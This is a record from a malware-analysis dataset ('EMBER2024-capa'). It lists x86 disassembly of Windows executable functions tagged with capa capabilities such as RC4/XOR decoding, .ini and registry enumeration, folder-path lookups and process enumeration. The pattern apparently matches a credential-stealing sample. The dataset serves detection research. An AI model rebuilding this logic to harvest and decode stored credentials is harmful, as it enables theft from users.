joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411171
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x104
push ebx
push esi
xor esi, esi
push edi
mov edx, ecx
test ax, ax
je 0x41119c
movzx eax, ax
cmp ax, 3
je 0x4111a4
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x41118c
cmp word [edx], 3
je 0x4111a4
xor edx, edx
test edx, edx
je 0x4111b4
call fcn.004044c0
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x4111c0
mov ebx, 0x40209c
mov dword [ebp - 4], 0x1c
mov ecx, dword [ebp + 8]
call fcn.004044c0
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x41122e
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x104]
call fcn.0040429e
test al, al
je 0x41122e
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x411223
cmp esi, dword [ebp - 4]
jne 0x4111f9
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x103]
mov dl, byte [ebp + ecx - 0x104]
cmp al, dl
jae 0x411210
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x4111f2
mov edx, dword [ebp + 8]
xor eax, eax
mov word [edx + ecx*2], ax
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x41142c
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.00403e7b
push 0x402160
push 0x402178
push 0x80000002
mov edi, 0x104
lea esi, [ebp - 0x220]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x41148e
cmp eax, ebx
jbe 0x41148e
push edi
lea eax, [ebp - 0x428]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x428]
call fcn.00411237
cmp dword [ebp - 4], ebx
jne 0x4114ed
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], 0x4021a0
xor esi, esi
lea eax, [ebp - 0x220]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4114e4
lea eax, [ebp - 8]
push eax
push 0x41126a
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x220]
call fcn.00404ee9
inc esi
cmp esi, 3
jb 0x4114b1
cmp dword [ebp - 4], ebx
jbe 0x411501
mov ecx, dword [ebp - 8]
push 0x4021b8
push 0xcb
call fcn.0040edd9
push dword [ebp - 8]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41150e
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.00406a11
push edx
push eax
call fcn.00406a45
ret 4
Function at 0x411533
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.004044c0
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x411654
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040429e
test al, al
je 0x411654
sub esi, 4
xor ebx, ebx
mov dword [ebp - 4], 0xcf671
test esi, esi
jle 0x41159f
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.0041150e
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x411580
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.0041150e
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.0041150e
dec dword [ebp - 8]
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x4115ad
xor edi, edi
mov dword [ebp - 4], 0xa564
test esi, esi
jle 0x411606
push 0x100
lea ecx, [ebp - 4]
call fcn.0041150e
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
jl 0x4115ed
xor edi, edi
mov dword [ebp - 4], 0xd431
test esi, esi
jle 0x41162c
push 0x100
lea ecx, [ebp - 4]
call fcn.0041150e
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
jl 0x411613
xor eax, eax
test esi, esi
jle 0x411647
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x411632
mov ecx, dword [ebp + 8]
xor eax, eax
mov word [ecx + esi*2], ax
mov eax, esi
jmp 0x411656
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41168b
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov eax, 0x1fffe
call fcn.00403db0
mov ebx, eax
xor edi, edi
mov dword [ebp - 0x10], ebx
cmp ebx, edi
je 0x4117e2
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push ebx
push edi
push edi
push edi
call esi
cmp eax, edi
jbe 0x4117da
lea ecx, [eax + 1]
mov eax, ebx
call fcn.00404733
test al, al
je 0x4117da
mov eax, 0xc08
call fcn.00403db0
mov dword [ebp - 8], eax
cmp eax, edi
je 0x4117da
add eax, 0x5fa
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], eax
mov ebx, 0xff
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push 0x4021e4
push dword [ebp - 4]
call edi
test eax, eax
jne 0x4117bd
push 0x401b80
push dword [ebp - 4]
call edi
test eax, eax
jne 0x4117bd
push dword [ebp + 8]
mov edi, dword [ebp - 8]
push ebx
push edi
push eax
push 0x4021fc
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x4117bd
push dword [ebp + 8]
add edi, 0x1fe
push ebx
push edi
push 0
push 0x402208
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x4117bd
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
push 0
push 0x40221c
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x4117bd
lea eax, [edi + 0x1fe]
push eax
call fcn.00411533
test eax, eax
jle 0x4117bd
push dword [ebp - 8]
lea eax, [edi + 0x1fe]
push eax
push edi
mov edi, dword [ebp - 0xc]
push 0x402230
mov edx, 0x307
call fcn.004045cd
add esp, 0x10
test eax, eax
jle 0x4117bd
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.00404076
test al, al
je 0x4117bd
inc dword [edi + 4]
mov ecx, dword [ebp - 4]
push 1
call fcn.00404771
mov dword [ebp - 4], eax
test eax, eax
jne 0x411700
push dword [ebp - 8]
call fcn.00403dc8
push dword [ebp - 0x10]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x411837
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.00403e7b
push 0x402250
push 0x402268
mov ebx, 0x80000001
push ebx
mov edi, 0x104
lea esi, [ebp - 0x230]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x4118a7
test eax, eax
jbe 0x4118a7
push edi
lea eax, [ebp - 0x438]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.0041168b
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x411991
and dword [ebp - 4], 0
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x18], 0x4022ac
mov dword [ebp - 0x14], 0x4022c4
mov dword [ebp - 0x10], 0x4022e8
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x230]
push eax
xor eax, eax
push eax
push eax
push esi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41193d
cmp esi, 0x24
jne 0x411922
push eax
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x230]
call fcn.0041165d
xor eax, eax
mov word [ebp - 0x22a], ax
lea eax, [ebp - 0xc]
push eax
push 0x4117e9
push 2
push 3
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x230]
call fcn.00404ee9
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x4118e6
cmp dword [ebp - 8], 0
jne 0x411991
push 0x4022fc
push 0x402268
push ebx
lea esi, [ebp - 0x230]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x41198d
test eax, eax
jbe 0x41198d
push edi
lea eax, [ebp - 0x438]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x438]
call fcn.0041165d
cmp dword [ebp - 8], 0
jbe 0x4119a5
mov ecx, dword [ebp - 0xc]
push 0x402314
push 0xcb
call fcn.0040edd9
push dword [ebp - 0xc]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411ba3
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.00403e7b
push 0x402388
push 0x402398
push 0x80000001
mov edi, 0x104
lea esi, [ebp - 0x220]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x411c05
cmp eax, ebx
jbe 0x411c05
push edi
lea eax, [ebp - 0x428]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x428]
call fcn.004119b2
cmp dword [ebp - 4], ebx
jne 0x411c64
mov dword [ebp - 0x18], 0x1a
mov dword [ebp - 0x14], 0x26
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], 0x4023cc
xor esi, esi
lea eax, [ebp - 0x220]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x411c5b
lea eax, [ebp - 8]
push eax
push 0x4119d5
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x220]
call fcn.00404ee9
inc esi
cmp esi, 3
jb 0x411c28
cmp dword [ebp - 4], ebx
jbe 0x411c78
mov ecx, dword [ebp - 8]
push 0x4023e4
push 0xcb
call fcn.0040edd9
push dword [ebp - 8]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411ebb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], 0x402448
call fcn.00403e7b
xor esi, esi
lea eax, [ebp - 0x220]
push eax
push edi
push edi
push dword [ebp + esi*4 - 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x411f25
lea eax, [ebp - 8]
push eax
push 0x411c85
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x220]
call fcn.00404ee9
inc esi
cmp esi, 3
jb 0x411ef2
cmp dword [ebp - 4], edi
jbe 0x411f42
mov ecx, dword [ebp - 8]
push 0x402460
push 0xcb
call fcn.0040edd9
push dword [ebp - 8]
call fcn.00403dc8
pop edi
pop esi
leave
ret

Function at 0x411f4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.00403e04
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
xor eax, eax
or cl, 0x50
mov byte [ebp - 2], al
cmp dl, al
je 0x411fa1
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx dx, dl
mov word [edi + eax*2], dx
inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x411f8e
pop esi
xor ecx, ecx
mov word [edi + eax*2], cx
leave
ret
Function at 0x411fa9
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
mov eax, 0xc08
call fcn.00403db0
xor esi, esi
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x412196
push 8
push esi
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x24], 0x402474
mov dword [ebp - 0x20], 0x4024b8
call fcn.00403e7b
mov dword [ebp - 0x10], esi
mov ebx, 0xff
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push 8
push esi
push dword [ebp + eax*4 - 0x24]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412162
push esi
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x412159
mov esi, dword [ebp - 0xc]
inc dword [ebp - 0x14]
push 0x4024f8
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
mov edi, ebx
call fcn.0040777b
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41212b
test eax, eax
jbe 0x41212b
push 0x402208
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
add esi, 0x1fe
call fcn.0040777b
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x412090
test eax, eax
ja 0x4120b9
mov esi, dword [ebp - 0xc]
push 0x40212c
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
add esi, 0x1fe
call fcn.0040777b
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41212b
test eax, eax
jbe 0x41212b
mov eax, dword [ebp - 0xc]
push ebx
add eax, 0x1fe
lea edi, [eax + 0x1fe]
push edi
push 0
push 0x40221c
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call fcn.00407823
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x41212b
test eax, eax
jbe 0x41212b
call fcn.00411f4e
test eax, eax
jle 0x41212b
mov eax, dword [ebp - 0xc]
push eax
push edi
add eax, 0x1fe
push eax
push 0x402230
mov edx, 0x307
add edi, 0x1fe
call fcn.004045cd
add esp, 0x10
test eax, eax
jle 0x41212b
push edi
lea ecx, [ebp - 0x1c]
call fcn.00404076
test al, al
je 0x41212b
inc dword [ebp - 0x18]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x41203a
xor esi, esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jb 0x411fee
push dword [ebp - 0xc]
call fcn.00403dc8
cmp dword [ebp - 0x18], esi
jbe 0x41218e
mov ecx, dword [ebp - 0x1c]
push 0x40250c
push 0xcb
call fcn.0040edd9
push dword [ebp - 0x1c]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41219b
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.004044c0
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x41224e
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0040429e
test al, al
je 0x41224e
xor eax, eax
test esi, esi
jle 0x4121e4
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x4121d7
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x4121fd
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x412203
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x41224e
cmp eax, dword [ebp + 8]
jl 0x41224e
cmp byte [ebp - 0x100], 0xff
jne 0x41222f
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x412246
movzx si, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x412238
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x412250
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x412256
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
call fcn.00403e7b
mov eax, 0xc1c
call fcn.00403db0
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x412437
mov dword [ebp - 0x28], 0x80000001
mov dword [ebp - 0x24], 0x80000002
mov dword [ebp - 0x10], ebx
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x10]
push 8
push ebx
push 0x402528
push dword [ebp + eax*4 - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x412422
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x230]
push eax
mov dword [ebp - 0x14], ebx
push ebx
jmp 0x412401
mov esi, dword [ebp - 8]
inc dword [ebp - 0x14]
push 0x4024f8
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
mov edi, 0xff
call fcn.0040777b
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
je 0x4123ef
cmp eax, ebx
jbe 0x4123ef
push 0x402208
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
add esi, 0x1fe
call fcn.0040777b
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4123ed
test ebx, ebx
jbe 0x4123ed
push 0x40221c
lea eax, [ebp - 0x230]
push eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add eax, 0x1fe
lea esi, [eax + 0x1fe]
call fcn.0040777b
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x4123ed
test eax, eax
jbe 0x4123ed
mov eax, dword [ebp - 0x20]
add ebx, eax
mov eax, dword [ebp - 8]
add eax, 0x1fe
push ebx
lea edi, [eax + 0x1fe]
call fcn.0041219b
test eax, eax
jle 0x4123ed
push 0x40257c
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 4]
call fcn.004077d3
cmp eax, 1
jb 0x4123a2
cmp eax, 0xffff
jbe 0x4123a5
push 0x15
pop eax
mov ecx, dword [ebp - 8]
push eax
push ecx
lea eax, [ecx + 0x3fc]
push eax
add ecx, 0x1fe
push ecx
push 0x402138
mov edx, 0x311
lea edi, [eax + 0x1fe]
call fcn.004045cd
add esp, 0x14
test eax, eax
jle 0x4123ed
mov ecx, dword [ebp - 8]
add ecx, 0x5fa
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00404076
test al, al
je 0x4123ed
inc dword [ebp - 0x18]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x14]
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4122cf
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jb 0x412296
push dword [ebp - 8]
call fcn.00403dc8
cmp dword [ebp - 0x18], ebx
jbe 0x41244e
mov ecx, dword [ebp - 0x1c]
push 0x402594
push 0xcb
call fcn.0040edd9
push dword [ebp - 0x1c]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4126a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], 0x40260c
call fcn.00403e7b
xor esi, esi
lea eax, [ebp - 0x220]
push eax
push edi
push edi
push dword [ebp + esi*4 - 0x18]
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41270a
lea eax, [ebp - 8]
push eax
push 0x412483
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x220]
call fcn.00404ee9
inc esi
cmp esi, 3
jb 0x4126d7
cmp dword [ebp - 4], edi
jbe 0x412727
mov ecx, dword [ebp - 8]
push 0x40262c
push 0xcb
call fcn.0040edd9
push dword [ebp - 8]
call fcn.00403dc8
pop edi
pop esi
leave
ret

Function at 0x412733
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call fcn.00403e7b
mov eax, 0xc1c
call fcn.00403db0
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4128f6
lea eax, [ebp - 4]
push eax
push 8
push ebx
push 0x402648
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4128cf
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x220]
push eax
mov dword [ebp - 0x10], ebx
push ebx
jmp 0x4128ae
mov esi, dword [ebp - 8]
inc dword [ebp - 0x10]
push 0x4021fc
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
mov edi, 0xff
call fcn.0040777b
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x41289c
cmp eax, ebx
jbe 0x41289c
push 0x40212c
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
add esi, 0x1fe
call fcn.0040777b
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x41289c
cmp eax, ebx
jbe 0x41289c
push 0x402688
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
add eax, 0x1fe
lea esi, [eax + 0x1fe]
call fcn.0040777b
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x41289c
cmp eax, ebx
jbe 0x41289c
mov eax, dword [ebp - 8]
add eax, 0x1fe
lea esi, [eax + 0x1fe]
mov ecx, esi
call fcn.004044c0
test eax, eax
jle 0x41289c
push 0x402120
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 4]
call fcn.004077d3
cmp eax, 1
jb 0x412861
cmp eax, 0xffff
jbe 0x412864
push 0x15
pop eax
push eax
mov eax, dword [ebp - 8]
push eax
push esi
add eax, 0x1fe
push eax
push 0x402138
mov edx, 0x311
lea edi, [esi + 0x1fe]
call fcn.004045cd
add esp, 0x14
cmp eax, ebx
jle 0x41289c
push edi
lea ecx, [ebp - 0x18]
call fcn.00404076
test al, al
je 0x41289c
inc dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 0x10]
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x412799
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call fcn.00403dc8
cmp dword [ebp - 0x14], ebx
jbe 0x4128ee
mov ecx, dword [ebp - 0x18]
push 0x402690
push 0xcb
call fcn.0040edd9
push dword [ebp - 0x18]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x413028
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 8]
push eax
call fcn.00403e7b
push 0x4026d0
push 0x4026f8
mov ebx, 0x80000001
push ebx
mov edi, 0x104
lea esi, [ebp - 0x210]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x41308a
test eax, eax
jbe 0x41308a
push edi
lea eax, [ebp - 0x418]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x418]
call fcn.00412db4
push 0x402768
push 0x402778
push ebx
lea esi, [ebp - 0x210]
call fcn.0040777b
cmp eax, 0xffffffff
je 0x4130c9
test eax, eax
jbe 0x4130c9
push edi
lea eax, [ebp - 0x418]
push eax
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x418]
call fcn.00412db4
cmp dword [ebp - 4], 0
jbe 0x4130e1
mov ecx, dword [ebp - 8]
push 0x4027d4
push 0xcb
call fcn.0040edd9
push dword [ebp - 8]
call fcn.00403dc8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4131e5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x422724]
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
push 4
push dword [eax + 0x28]
call fcn.00413cef
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 1
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call esi
mov dword [ebp - 8], 3
push edi
push 2
mov dword [ebp - 0x248], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x248]
push ecx
push eax
mov dword [ebp - 0xc], eax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x4132cf
mov eax, dword [ebp - 0x240]
cmp eax, edi
je 0x4132c0
cmp eax, dword [0x421414]
je 0x4132c0
cmp eax, dword [ebp - 0x10]
je 0x4132c0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x402de8
lea eax, [ebp - 0x224]
push eax
call ebx
test eax, eax
je 0x4132c0
push 0x402dfc
lea eax, [ebp - 0x224]
push eax
call ebx
test eax, eax
je 0x4132c0
push dword [ebp - 0x240]
push edi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
je 0x4132c0
push dword [ebp - 0x240]
push ebx
call fcn.0040d40a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 0xc]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x413254
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
dec dword [ebp - 8]
jne 0x413230
push dword [ebp - 0x14]
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret